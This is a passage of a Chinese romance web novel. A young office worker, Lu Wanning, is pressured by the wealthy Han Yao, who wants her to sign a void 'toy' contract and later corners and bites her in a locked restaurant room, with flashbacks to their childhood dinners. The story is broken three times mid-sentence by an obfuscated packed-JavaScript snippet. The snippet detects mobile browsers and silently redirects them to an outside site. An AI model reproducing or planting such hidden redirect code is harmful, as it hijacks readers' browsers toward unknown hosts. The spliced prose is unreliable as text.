以前陆晚柠上网看到许多人租房与室友不和,闹得鸡飞狗跳乃至于大打出手的例子,没想到轮到自己找室友时却意外的顺利。她们都是刚毕业的大学生,年龄相仿、兴趣相投,甚至作息都出奇一致,两人很快成为了不错的朋友。 “我看看你织的。”周雪儿拿起刚才她钩织到一半的作品,“这是发带吗?” “嗯。” “你手好巧啊,都可以拿去卖钱了。” 陆晚柠微赧:“没那么夸张,就自己织着玩。” “那你给我织一个嘛。” “行啊,这个织好了给你。” 周雪儿比出那个表情包的姿势:“鲜花赠美人!” 两人又一起看了一会儿综艺,时间悄然来到了将近十二点,差不多也该睡了,明天还得早起上班。 周雪儿打了个哈欠,想起什么,张了张嘴唇:“对了,晚柠……”她犹豫了下,“我回来的时候,你的包挂在墙上……” 她怕陆晚柠误会,语速加快,赶紧解释:“里头有份文件露出来了,我一抬头就看到了几个字,真的是凑巧,绝对绝对不是故意要偷看的啊。” “晚柠,那个……你是跟人签什么合同了吗?” 合同? 陆晚柠很快反应过来她说的是什么,除了从韩窈那里拿到的那份莫名其妙的合约,哪还有别的?一瞬间尴尬和窘迫从心底漫上头顶,她的脸颊因羞恼而泛成粉红色。 自己怎么回事,这种东西,竟然忘了收好,被别人看到了…… 好在周雪儿理解的完全是另一种情况。 她看陆晚柠的模样,更加会错了意,严肃道:“现在坏人很多的,如果你缺钱就跟我说,虽然我也很穷,但能帮你肯定会帮你的。总之,你千万别在外面贷款,更不要随便签什么协议知道不,现在上当的人很多的,坏人专门盯着年轻的女孩子骗!” 陆晚柠哑然,不知该怎么解释,但她能看出周雪儿眼中满满的关切,也听出室友说这些是为了自己好。 半晌,她轻声说:“放心,不是你想得那样。” “那你签的是什么?” 陆晚柠一时沉默。 周雪儿看出她不想说,也善解人意地没有追问:“好吧,你确保自己安全就行,有需要随时喊我啊,虽然我很菜,但毕竟也是学法的,多少还是能帮你把把关。” 看着她去刷牙的背影,陆晚柠欲言又止,不过最终化为一句淡淡的:“嗯,会的,谢啦。” 她好像还是不习惯跟别人讲跟韩窈有关的事,从前是这样,现在也是这样。 不过…… “雪儿,我确实有个问题。” “嗯?”周雪儿咬着牙刷,满嘴泡沫地回头。 “假设,一个人将自己的身体权、自由权、人格权利……全部放弃,‘赠予’另一个人。”陆晚柠说,“在法律上是不是无效的呢?” 结果,周雪儿“扑哧”一声笑了:“这种违背公序良俗的东西当然是无效的了。你以为这是古代啊,签卖身契呢。”听到这种问题,她反而放松了下来,先前的担心一扫而空,调侃道,“你呀,是不是小说看多了。” 和陆晚柠上网查到的资料一样。 如她所料,这份合同完全不具备任何法律效力,就算真的签了字,对她也没有约束力。 可是韩窈是故意这样的吗?她又不缺好的律师来玩文字游戏,这份合约完全可以有其他更委婉的展现形式,甚至不必提及“玩具”两字,也能够将陆晚柠死死限制住——况且她还有一万种方法来逼陆晚柠签字。 可都没有。 韩窈只是把小时候那张纸上的内容重新拿了出来。她到底想要什么? 陆晚柠想得头有点痛。 “你也早点睡吧。”周雪儿探出个脑袋来,打断了她的思绪,“刚才乍一看,你脸色好苍白哦。晚安。” “……嗯。晚安。” *** 翌日周雪儿预订了一家日料的自助,价格不算贵,各种菜品倒是很新鲜,性价比很高。可惜正因如此,人满为患,包间几乎订不到,只能坐大堂。 从中午开始,陆晚柠就不断收到室友的消息。 周雪儿:“中午少吃点啊听到没有,到时候你要是吃两口甜品就饱了会被我骂的!五百块钱来之不易,绝对不准浪费!” 陆晚柠:“……好的。” 周雪儿千叮咛万嘱咐:“重复一遍,我们的作战指令是?” 陆晚柠:“……不喝饮料,多吃肉,多吃鱼,总之多吃贵的。” 周雪儿这才满意。 今天部门所有人的脸上都挂着大大的黑眼圈,主要是因为昨天半夜复城打的那笔钱——当然,还有徐珍发的大红包,所以激动得没有睡好。 项目经理跑到陆晚柠面前晃悠:“嘿嘿,晚柠昨天抢了五百块啊。” “对啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353392|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哦,挺好的。”项目经理轻咳一声,“你问我抢了多少——咦,你怎么知道我抢了八百?” 陆晚柠慢慢抬起头,皮笑肉不笑:“0个人问你了。” 项目经理不语,只是一味贱兮兮地坏笑,可惜好景不长,很快就被旁边手气差的同事集体围殴了。 平时徐珍见到他们打闹都会提醒纪律,保持安静,可今天从办公室出来的时候,罕见地没说什么。 解决了复城那几个“心头大患”项目,她脸上的疲惫似乎也一扫而空,闻言,还笑着瞧了项目经理一眼:“红包嫌不够?再给你们发点?” 项目经理抱头鼠窜,还没忘了接上司的话:“领导大气!” “这样,我请大家喝咖啡。”徐珍发了下单链接到群里,“等下谁去拿一趟?” 陆晚柠习惯性地说:“我去拿。”她年纪最小,多做点事也是应该的。 却没想到徐珍说:“我一起吧,下楼走走。” 陆晚柠顿了一下,觉得她应当是有话要对自己讲。 果不其然,两人下楼的时候,徐珍便开了口,话音在略显空荡的电梯内回荡:“这次项目能推进得这么顺利,多亏了你。要是没有你帮忙,流程还不知道要被复城那边卡多久。” 陆晚柠张了张嘴,本是高兴的事情,她想和徐珍开两句玩笑,话到嘴边,却又说不出口。 其他人或许不知道,她却比谁都清楚。 复城所谓的拖延,只不过是韩窈小小的手段之一,为的就是让自己主动过去见她。一切本就因她而起,又有什么可感谢的。 这样想着,陆晚柠唇畔的笑意都变得有些苦涩,最终只是淡淡道:“没什么,是我该做的。” 徐珍将这隐忍着某些情绪的反应看在眼里。片刻,她问:“晚柠,你为什么不开心?” “嗯?” 这段时间两人关系熟悉了些,徐珍说话也坦率了不少:“只是好奇哈,没别的意思。如果我有韩总这样的人脉资源,做梦都能笑醒。但你不光不开心,还显得——郁郁寡欢的?” 公司楼下几百米处就有咖啡店,自提订单已经准备完毕,两人一同朝着那边走去。 今天是阴天,陆晚柠抬头看了看天色,入眼只有一大片灰沉沉,她试图捕捉一点明媚阳光的踪迹,却遍寻无果。 果然已经深秋了啊。 过了好一会儿,她才回答徐珍刚才的问题:“世界上没有免费的午餐,一切都是有价格的。” 店员已经把两个满满的手提袋放在柜台上,在徐珍有动作之前,陆晚柠一只手就全都拎上了,稳稳的一点没晃。 “力气还挺大。”徐珍挑眉。 她想了想,又接着刚才的话题,说:“那就要讲究性价比了。要是能以合理的价格换来丰盛的午餐,不是很划算吗?” 陆晚柠歪头,刚剪短的发梢划过脸颊,痒痒的。 “如果我付不起呢?” “讲价,赊账,甚至大不了赖账嘛。这个世界的容错率永远比你想象中要高。”徐珍换上商人的口吻。 赖账?陆晚柠微怔。 她已经赖过一次账了。 五年前她毫不留情地离开了韩窈,像扔垃圾一样,没有一丝留恋地,把她们两人的过去全部扔在了大雨中。 至今陆晚柠都忘不掉那天韩窈撑着伞平静凝视自己的眼神。 她欠下的本金加利息,累计起来该有多少了? 13. 蜜 *** 晚上徐珍仁慈地允许他们提前下班,当然,是在手头工作完成了的情况下。 徐珍:“没什么事儿就可以先走了。” 徐珍:“动作别太大,别引人注意,都低调点。” 项目经理:“!!!感谢老大的恩赐!老大简直是这个世界仅存的瑰宝!” 其他人也纷纷在后面跟队形:“+1”“+10000”“” 真是熟练的职场生活啊……可惜陆晚柠死也说不出这种肉麻的话,因此只是跟了一个“谢谢”的表情包。她微信和周雪儿说了下,刚好那边也提前结束了,现在过去日料店时间非常不错。 六点刚过,还没到店里最人满为患的时刻。一楼有一片椭圆形的吧台区,客人坐一圈将师傅围在中间,近距离看他们做菜。 周雪儿来得早,火速抢了一个非常好的位置:“快来!” 师傅面前摆了一条鱼,他仔细沿着纹理切下一长片鱼肉,再将它分为大小均匀的刺身,摆在碟内,放到两人面前。 “亚米亚米~”周雪儿为了这顿,早饭午饭都没吃,此刻当即眼睛放光,一口一个、狼吞虎咽起来,“不过这旁边是什么?” 陆晚柠解答了她的问题:“萝卜泥。” “哈?” “配着一起吃的,你试试。” 周雪儿按她说的做了,刚才师傅切的是鱼身上比较肥的部位,刺身单独入口时肉质显得有些油腻,配上萝卜泥一起果然变得爽口很多。 “你好懂啊。”她“咦”了一声,“经常吃日料吗?” 陆晚柠顿了一下,说:“网上看的而已。” 周雪儿想想也是,帝都物价这么高,就算是便宜的日料一顿也要好几百,她们这种刚毕业的小牛马哪有钱消费。 师傅很快又在她们面前煎起蛋烧来,油滋滋的声音伴随着很快泛起的芝士香气,令人食指大动。 两人一边看着烹饪表演一边吃,说说笑笑,很是放松。 只可惜好景不长,才过了二十多分钟,陆晚柠的手机就开始震动了起来。 原来是有个客户临时要开个电话会议,项目经理苦兮兮地在群里at了所有人:“家人们,我手边没电脑,有人能建个会议链接,再上线辅助投个屏吗?感激不尽!” “装死!”周雪儿余光瞥见,慷慨激昂地给建议,“都下班了,现在忙活又不给加班费,你假装没看到就行了。” 其他同事不知是在忙,还是也和周雪儿有一样的想法,总之群里没人回复。 一般遇到这种事,徐珍都会出来火速安排人手,但此刻也没冒泡,不知在做什么。 陆晚柠回头打量了眼,店里的包间此时还空着没人来,应该可以跟服务员打声招呼,借用一会儿。 “没事,我上线一趟吧,你先吃。”她一边在群聊里回了个“1”,一边和周雪儿说,“我记得这个客户的事情不麻烦,应该二十分钟就能结束。” 周雪儿愣了一下,感叹道:“晚柠,我才知道原来你是工作狂,要是我100%包装死的。” 于是陆晚柠从包里拿出电脑,问了下服务员后,便找了个包间上线投屏。 项目经理一边讲,一边私聊给她发了个“跪下”的表情包:“义母请受我一拜。” 陆晚柠笑了下,顺手回了句“请起”。 都下班了,她其实也没心思再思考工作的事,项目经理夸夸其谈的内容全都左耳进右耳出,一点也没听进去。所幸倒也不需要额外做什么,只要翻个PPT就行,摸鱼也无所谓。 听着听着,陆晚柠迷迷糊糊,忽然想起从前。 …… 小时候她跟陆佳惠住在韩家的佣人房里,吃的也大多是学校食堂或者家常菜,偶尔出去改善伙食,来一顿炸鸡汉堡或是其他垃圾食品。她没觉得这有什么不好。 可是后来她变成了韩窈的玩具。 在那张纸上写下名字后,韩窈要陆晚柠做的第一件事就是——每天陪她吃饭。 那时两人不在同一所学校。陆晚柠上的是附近一所便宜的公立学校,而韩大小姐念的是贵族私立,光听名字就知道学费有多贵。白天两人各自去上学,需要陆晚柠陪的,只有晚上的那顿。 ——还以为什么要求呢,原来只是吃饭啊。 陆晚柠长舒了一口气,一口答应下来:“好啊,不过……别让我妈知道,她会瞎想的。” 陆佳惠一直叮嘱她要和主人家保持距离,别走得太近,陆晚柠自知理亏,更怕她担心。如果告诉她自己和韩大小姐签了一份奇奇怪怪的玩具合约,不用想都知道老妈肯定会唠叨的。 她们的第一顿晚饭在韩家的会客厅。 陆晚柠放学回来,背着书包就小心翼翼地来到了这里。她推开门,里头的佣人刚看到她便一愣。 韩家的佣人也有高低之分。像陆佳惠他们干的都是一些粗活儿,比如在厨房洗菜、打扫卫生等,平时都是不让踏入这些地方的。而真正贴身照料主人家起居的那些人,权力更大,姿态也更高。 在会客厅候着的佣人认出了陆晚柠是谁,眉头一皱:“你来干什么?还不快走。” 陆晚柠老实说:“我来找韩窈。” 佣人面露不悦:“你怎么能直呼其名?还有,没经过允许,任何人不能进来这里。” 她还想再说什么,却闻得里面一声轻柔。 “我让的。” 那三个字仿佛有一种魔力,那佣人上一秒还皱着眉准备训斥陆晚柠,下一刻便换了表情,恭恭敬敬回头:“好的。” 陆晚柠循声抬头。 会客厅里有一张长而大的实木桌子,转角处镂出精致的花纹,白色桌布垂下丝丝缕缕的蕾丝花边,听说是一针一针手工织出来的。 她看到韩窈坐在会客厅的最里侧。她穿了一条白色的真丝裙,头发松松挽成低马尾,垂在右侧。 大小姐好像很喜欢在家里穿白色的裙子。 陆晚柠又低头看了自己身上的蓝白校服。平时没觉得有什么,可是来到这里,她第一次觉得自己打扮得格格不入。 “来坐。”韩窈说。 陆晚柠没多想,便坐到了她身边的那个位置上。 肉眼可见地,那位佣人的眼神再次产生了变化。片刻,她谨慎地开口:“小姐,她来这里做什么?” 桌上已经铺好了餐具,刀叉、木筷、杯垫、餐巾,一应俱全。 韩窈说:“吃饭。” “这……”佣人轻声建议,“要不,让她换个位置?”就算是接待客人,也没有靠这么近的道理。 韩窈声音是温的,眼睛里却只有淡漠:“她想坐哪里就坐哪里,我允许的。” 她甚至笑了笑,“你有什么要指教的吗?” 佣人当即低头:“抱歉,我失言了。”她很快转身离开了这里,“我去叫厨师来。” 陆晚柠没明白,她有疑问,便直接问出口:“不是菜做好了直接端上来吗,叫厨师来干什么?” 韩窈的目光落到她身上,似乎带上了一点微不可察的温度。 “他会现场制作。”她说。 这样一讲,陆晚柠倒是开始期待起来。 没过多久,佣人便推着一辆餐车进来了,后面跟着她们今日的厨师。显然佣人已经提前告知过他,他对于陆晚柠的存在早有预知。 陆晚柠没在韩家见过他,大概是从外面专门请来的吧。 餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353393|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车里的食材多种多样,最令陆晚柠好奇的,还是那条躺在冰块上的鱼——甚至连鳞片都没有去掉,在灯下泛着银色的光,细看还带了些蓝调。 “您好。”厨师点头致礼,开始介绍,“这是今早捕捞、空运过来的新鲜帝王鲑。” 刀在他手里仿佛成了魔术道具,只几下就将鱼肉切成大小均匀的数片,另一只手将米饭捏成团,小心地将鱼片覆在上面,再辅以一点不知是什么的碎末。 “请用。”厨师微笑,佣人亦及时将那两个小碟子呈送到她们面前。 陆晚柠不确定地看了眼:“生……的?”鱼肉能生吃? 韩窈轻巧地用木筷将它夹起来,送进口中,直到吃下去,才“嗯”了一声。 陆晚柠有点犹豫:“那,不蘸点什么调味料吗。”单纯鱼肉加米饭也没有味道啊。 她不知道为什么佣人和厨师的眼神产生了一丝微妙的变化,不过他们是专业的,绝不会让情绪过分外露。 须臾,厨师解释道:“米饭是提前调制过了,不需要额外调味。同时帝王鲑天然带有甜味,肉质细腻,本身的口感就十分值得品尝。” 陆晚柠“哦”了一声,低头用筷子去夹,却没想到这些食材那么软,她一不留神,直接从中夹断了。 她不知道为什么他们的眼神又变了。 佣人似乎又要开口提醒什么,韩窈却在此时放下了筷子,与碟子碰出清脆一声响,似打断又似警示。 陆晚柠总算吃到了那块寿司,顿觉口感很是奇妙,难以形容,带着甜又夹杂着几分牛奶的香气,入口即化,丝毫没有想象中的腥味。 是好吃的,很高级的味道。 可大概是因为她吃惯了老妈烧的家常菜,总觉得味道有些寡淡。 韩窈的目光落在她脸上,随后又看了厨师一眼,对方心领神会,很快便调了一碟酱油放在陆晚柠面前。 后面她们又尝了许多道菜,那一整顿饭都吃得很安静。 陆晚柠从来没吃过这么沉默的饭,偶尔忍不住开口聊些什么,可韩窈的话却极其少,而厨师和佣人也没再轻易开口。 等其他人离开后,陆晚柠实在忍不住开口:“你们为什么都不说话。”她努力在找话题了,都没人接住。 韩窈轻柔地用餐巾轻拭嘴角,动作优雅又缓慢,放下后,才道:“食不言,为什么要说话?” “那也太闷了。”陆晚柠说,“吃饭肯定要聊点什么才有意思。” 韩窈眨了眨眼,那双眸中盈着些微的茫然。她慢慢道:“我每天都是一个人吃饭。” 陆晚柠“哦”了一声。 她看着韩窈身上的白裙子,忽然觉得好像一只小鸟身上漂亮的白色羽毛。她又低头看了看自己的蓝白校服,今天还不小心把笔划在了袖口上,弄得脏兮兮的。 明明很不一样,此时的差别却似乎又没有那么大了。 陆晚柠说:“但你不是叫我陪你吃么。” 韩窈表情未变:“嗯。” 陆晚柠又说:“那你听我说就好了。” …… 项目经理已经滔滔不绝地讲了二十多分钟,陆晚柠听得都有些困了。她支着下巴,一不留神竟眯了一觉,还梦到了以前的事情。 只是包间里的灯不知什么时候变得这么暗了……她揉了揉眼睛,还没回过神,忽惊得站了起来。 对面不知何时多了一道人影。 黑发依旧挽成低马尾,几乎隐没在黑暗中,只有那双黑白分明的眼睛闪着令人看不懂的光。 韩窈静静地注视着她,什么也没说,只是纤长的手指覆上,轻轻一拧。 “咔嚓。” 当着陆晚柠的面,锁上了包间的门。 14. 蜜 周雪儿:“晚柠,还没结束嘛?” 周雪儿:“我都快吃饱了,你还在弄,这么压榨你呀。” 周雪儿:“?怎么不回消息,手机都不能看嘛?” 周雪儿:“我怕打扰你,也不敢进去,你要是能打字,回我下呗。” 周雪儿:“或者你要吃什么,我提前帮你拿,这会店里人多,很多东西一会儿就被拿光了,晚上他们可能不补。” 陆晚柠的手机接连震了很多下,都是室友见她去了这么久还没回来,特地发消息来问。 她无暇细看究竟是什么内容,只在目光触及“周雪儿”名字的时候,就快速将手机屏幕朝下扣了过去。 陆晚柠直视着眼前的人,微微蹙眉,加重语气:“韩窈?” 包间的隔音并不算好,就算关上门也能清晰听到外头客人的交谈声,好不热闹。头顶上的灯泡似乎有些接触不良,刚才还好好的,此刻却时不时地闪一下,从上至下,映出那张雪白的脸。 韩窈的头发用一根黑色的针织发带束着,系带顺着辫子一同落在肩头。 她一贯是不怕冷的,不论什么季节都穿得很单薄。已是深秋,却连大衣都不带,只一件薄薄的衬衫。 她就那样平静无波地看着陆晚柠,目光落在耳朵附近的位置。 ——再下面一点,是不久前刚被剪短的发梢。 好可惜。 直至陆晚柠受不了这样令人窒息的沉默,才开口打破:“韩窈,你……”却连话都没说完,就被推到了冰冷的墙上。 韩窈的力气不算大。像她这样的千金大小姐,从小也不需要做什么重活儿,从上至下都是轻盈的。 包括她此时此刻放在陆晚柠肩头的手。 攥紧,抚摸,感受肩膀的形状,复又松开,绕上她的发梢。 没什么痛感,反倒是熟悉的香气先来,从指尖向上蔓延,不容拒绝地往陆晚柠的鼻腔里钻。如馥郁的玫瑰,却又不至于那般艳俗。 “好可惜。”韩窈轻声说,“明明都长长到肩膀了,为什么要剪掉?” 头发? 陆晚柠立即反应过来她在说什么——韩窈喜欢她的头发保持在那个特定的长度。 无名的怒火漫上心头,她推远韩窈,让两人之间保持一些距离,声音冷硬:“我的头发什么样子,我自己决定,不需要跟其他人解释。” 许是用力了些。 韩窈垂下眸,盯着自己被挥开的手,说:“疼。” “你……”陆晚柠深呼吸了一口气,不知该说些什么。 “真的。” 韩窈将手抬到陆晚柠眼前,方才手背被碰到的地方果真红了一片,若隐若现。 有那么一瞬间,陆晚柠差点想要将那只手放在掌心,柔柔抚过“疼”的地方,而后再缓下声来安慰对方——就像她曾做过无数次的那样。 可她再清楚不过,从始至终,这一切不过都是韩窈惯用的招数而已。 只要是韩大小姐要做的事情,她都不能反抗,否则便会得到一声含着淡淡委屈的“疼”。 那只手再度绕住陆晚柠的发梢,微微使力地扯住。 “再留长一点吧。”韩窈柔声道,那张脸上浮现着一丝名为天真的神色,“现在的样子很陌生。” 都五年没见过了,当然陌生。 韩窈又凑近了一点:“你还记得吗?我们第一次一起吃晚饭,吃的也是刺身。和这家店一样。” 事实上那一切刚刚才在陆晚柠的脑海中上演过,不过几分钟,就猝不及防,被再度提起。 “你说没吃饱,我说再让厨房做。” 想起往事,韩窈露出笑意,语调放得更轻。 “你说要带我出去。” …… 陆晚柠胃口不小,尤其那时年纪小还在长身体,几个寿司确实满足不了她的胃口,餐车撤下去没过多久,她的肚子就“咕”地叫了起来。 一声也就罢了,还偏偏是一连串的叫声,在偌大的会客厅里回荡,无比刺耳。 饶是陆晚柠脸皮再厚,也不免红了脸,讪讪地转过头去,解释道:“我没吃饱。”就几块鱼肉配米饭,顶多算是开胃小菜,真的不够她吃。 “那再让他们做点什么。” “不用了。”陆晚柠有点不好意思,“我等下自己出去买点就好了。” “出去?” “嗯,附近有个夜市,那里面好吃的可多了。” 有个小摊专门卖蛋炒饭,手艺一绝,陆晚柠最爱吃就是那家,一想起来就忍不住要流口水,恨不得现在就赶紧冲过去大快朵颐。 陆佳惠平时会给她一些零散的现金当零花,她记得还剩下二十块钱……嗯,应该够吧。 “你去吗?”陆晚柠觉得韩窈估计也没吃饱,“我请你啊。” 韩窈没说可以,也没说不可以。 总之,那天从后门溜出去的身影变成了两个。 夜市说是在附近,实则还有段距离,要先走路10分钟到公交站,再往西坐到那个路口。 陆晚柠摸了摸兜里的钢镚和纸币,很快就严密地计划好了今晚的花费——公交单程2块,两人来回就是8块,蛋炒饭一碗6块,两碗12,加起来刚好20整,完美卡在预算内。 唉,她要是数学考试算题也有这么快就好了。 陆晚柠把四个一块的硬币放到韩窈的掌心:“这个是你的公交钱。” “公交?” “对啊,公交。” 两人站在公交站牌旁边,晚风拂过韩窈的刘海和睫毛,令她微微眯起了眼:“我没坐过公交。” 陆晚柠讶异地抬眉,不过转瞬便觉得很合理。在韩家工作的不光有做事的佣人,还有专门的司机,主人家去哪里自然都是车接车送的。 她有点惭愧地说:“打车好贵,我钱不够,只能委屈你坐公交了,可以吗?” 过了许久,韩窈才说:“我不会坐。” 那一刻陆晚柠也有些恍神。 那个先前还用命令的口吻对自己说“当我的玩具”的女孩,此刻却凝视着掌心的几个硬币,流露出一点茫然无措的神色。 恰好公交车来了,陆晚柠便道:“你跟在我后面,把两个硬币扔到投币箱里就行。只扔两个,剩下是回来用的。” 这一站没什么人,车内空空荡荡,她上了车,回眸看到韩大小姐乖乖跟在后面,动作很轻把硬币扔到箱子里。 上车的台阶很脏,白色的裙摆稍不留神就要触及地面。在被弄脏之前,陆晚柠下意识帮韩窈提住了裙子。 韩窈垂眸怔了一下,微微笑了:“谢谢。” 她好像只会这样笑,弧度恰到好处,从不露出牙齿。很优雅,可算不上真实。 陆晚柠忽地生出一点错觉,那就是她们好像是朋友了……算了,想什么呢。 夜幕刚刚降临时就是夜市最热闹的时候,许多小摊的推车密密麻麻汇聚在一起,摊主们一边吆喝,一边没忘了警戒城管的到来,有种随时准备跑路的架势。 陆晚柠带着韩窈,熟门熟路地来到了卖蛋炒饭的位置,却在看到招牌的那一刻如遭雷击——涨涨涨价了?! 她震惊地问:“阿姨,怎么变成8块了?” “不涨价没钱赚!”阿姨洪亮的一嗓子穿过煎蛋的“滋滋”声,“给你们用的都是最新鲜的食材,再不涨价要亏死了。” 一文钱难倒英雄汉,两块钱难倒陆晚柠。她现在身上只有16块,难不成全拿来买蛋炒饭,然后带着韩窈走回去? 一番心理斗争之后,她做了一个艰难的决定:“那要一碗吧。” 阿姨很快把蛋炒饭炒出了锅。小摊旁边有简陋的座位,陆晚柠端过去,放在桌上,非常艰难地把它推向了韩窈那边。 “吃吧。”她说得很简短,因为再多几个字口水就要流出来了。 韩窈看着那碗油乎乎的、撒着葱花的炒饭。 “你的呢?” 陆晚柠苦恼道:“不知道今天会涨价,钱不够了。” 韩窈说:“我有。” 她披着的外套里似乎有一个小钱夹,里面装了几张卡。在她拿出来之前,就被陆晚柠眼疾手快地按了回去,低声道:“别,揣好,这里小偷很多。” 尤其她们是两个年纪不大的小女孩,韩窈的穿着打扮又不像是会在这里出现的人,已经有不少路人经过时施来一撇。 “而且这里只收现金的,带卡也没用。”陆晚柠示意韩窈往里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353394|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐坐,自己则警惕地监视着韩大小姐的口袋,坚决杜绝有人小偷小摸。 她咽了口口水:“你先吃,要是有剩下……我再吃两口。” 陆晚柠也不知道自己为什么这么谦让,在学校里她护食得不行,没有任何人可以抢她的零食。可如今自己饿得都前胸贴后背了,却能硬生生忍住,把那碗饭让给韩大小姐。 唉。 可是下一秒韩窈又将炒饭推了回来:“你吃吧。”她眨了眨眼,“你不是饿了?” “我都说了请你吃了……” 还没说完,做蛋炒饭的阿姨就凌空扔了一个塑料勺子过来:“别磨叽了!一起吃不就行了!” 陆晚柠下意识接住,挠挠头发,忽然“扑哧”一声笑了。 是哦,她怎么没想到。 时间过去太久,蛋炒饭是什么味道其实早就已经记不清了。 还留在记忆里的,只剩下夜市熙熙攘攘的烟火气里,近在咫尺的韩窈眉眼弯弯,对她抿唇而笑。 …… 包间内,现在的韩窈也近在咫尺。 鼻尖几乎要贴着鼻尖,似有如无的幽香缠绕,根本无从逃避那双澄澈的眼眸里蕴含的——爱?还是恨?又有什么区别。 手机震了下,大概是周雪儿又发消息来催了。陆晚柠的心也跳得越来越快,如果再不回复,雪儿出于担心,可能会来找她的。 得先稳住韩窈。 可她刚要开口,耳朵却倏然被一口咬住,“唔!” 韩窈不光咬她的耳朵,还咬她的颈侧,留下一个个湿热的咬痕,如嫣红的花顺着脖颈绽放。 陆晚柠不怕疼,但极度怕痒,痒得几乎快要受不了,身后是墙避无可避,那就只剩下推开韩窈这一个选项。 可偏偏韩窈又说疼。 到底哪里疼了? 陆晚柠几分恼怒,手指因此稍稍颤抖。 自己还想在韩窈面前掌控主动权,可是过了这么多年,韩大小姐只要一个“疼”字依旧能让她束手束脚,什么也不敢做。 真是没出息。 “够了。”她只能低声斥责,“你是小狗吗?” 这种话韩窈根本不会在意,闻言只是一声轻笑落在陆晚柠耳边。 “我是狗你是什么?”她饶有兴味,“狗玩具?” 其实陆晚柠知道韩窈更像猫。 猫咬人的时候是不疼的,但猫科动物舌头上带着倒刺,一旦猎物想要抽离便会被牢牢勾住,随后在皮肤上摩擦出一道道带血的痛意。 “就算是狗也不能乱咬人,你多大了,三岁吗?”陆晚柠声音冰冷,染着薄怒,“你来这里干什么?” 电脑的在线会议里还播放着项目经理滔滔不绝讲述的声音,这场临时的加班也终于来到了尽头: “感谢各位的时间,我们可以结束会议了。” 还没等陆晚柠做什么,韩窈就随手替她扣上了电脑,发出“啪”一声响。明明什么也没说,只是柔柔地盯着陆晚柠笑,却叫她心里发毛。 韩窈眼睛眯起来时最像猫。 当然,不是那种好脾气任人揉捏的小猫咪,而是那种随时伺机而动给人一爪子的。 “柠檬,我已经尽量给你时间了。”韩窈不疾不徐道,“可是我的耐心很少。我好像要快要生气了。” 她依旧那样平静:“三天内我要听到你的答案,这不是在和你商量。” “你!”陆晚柠气急,她想起之前咨询过周雪儿的话,“你给的那些条款根本没有法律效力,就算我签了也代表不了什么,又能怎样?” “在你我之间有效就够了。” 韩窈慢慢说。 她的指尖勾着陆晚柠的领口,重新将她拉近。 “至于我能怎样,你不是最清楚吗?” 就在此时,门外适时响起了声音:“晚柠,你在哪儿呢?” 周雪儿见她离开太久,又不回消息,电话也不接,忍不住出来寻找,碎碎念叨,“不会出什么事了吧?”她看到这间上了锁,便重重敲了门,“有人吗?晚柠,你在吗?” 韩窈嘴角又绽出笑意,学着周雪儿的语调,轻轻咀嚼那两个字,“晚柠。” “所以,你要怎么做呢,晚,柠?” 15. 柠檬 周雪儿等了很久,也不见陆晚柠的身影,信息也不回。 她怕出什么事,一转念就想去找店里的服务员来帮忙,正要离开的时候,包间的门忽然开了。 “晚柠?”周雪儿回头,松了口气,“我给你发消息怎么都不回?吓死我了。” “……会议刚结束,没顾得上看手机。” 陆晚柠不是那种很会撒谎的人。这种换了别人随口就能扯出来的借口,她却要躲避周雪儿的眼神才能说得出来。 甚至还掩饰般扬了扬手中的笔记本电脑,语气淡淡地吐槽了几句,“这么敬业,领导真应该给我加工资。” 好在室友也没多怀疑,闻言只道:“你没事就行,咱们快回去接着干饭吧,说好要把自助吃回本的。” 陆晚柠轻轻地“嗯”了一声,却不动声色地将头扭了过去,只将右边脸留给周雪儿。 ——左边的脖颈刚被韩窈咬过。好几口。 她没顾得上照镜子,不知道消没消褪,可指腹依稀还能摸到温热的齿痕,令陆晚柠的左手死死覆在上面,几乎不敢将手拿开,以免这块印迹暴露在其他人的视线中。 猫科动物就是喜欢标记领地。 偏偏头发又刚修过,陆晚柠一瞬有些后悔——早知道不去理发店了。不剪短的话就能盖住了。 可下一刻她恍然发觉,自己竟然已经不知不觉中掉入了韩窈的陷阱,开始接纳对方无理的观点。 她还有救吗? 重新坐回座位,陆晚柠悄悄用手机摄像头看了眼。还好,从外表上已经看不出异常,只是还能触摸出一点点曾经发生过的罪证。 “好啦。”周雪儿给她拿了好几串炸虾天妇罗,看她魂不守舍的模样,只当她是工作累了,“别想了,多吃点。” 陆晚柠定了定心神,勉强笑道:“嗯,谢谢。” 她嘴上和周雪儿有一搭没一搭地聊着,心却怎么也静不下来。 吧台区已经坐满了人,一边吃,一边围观厨师在中间做菜的模样——一场免费的表演秀。 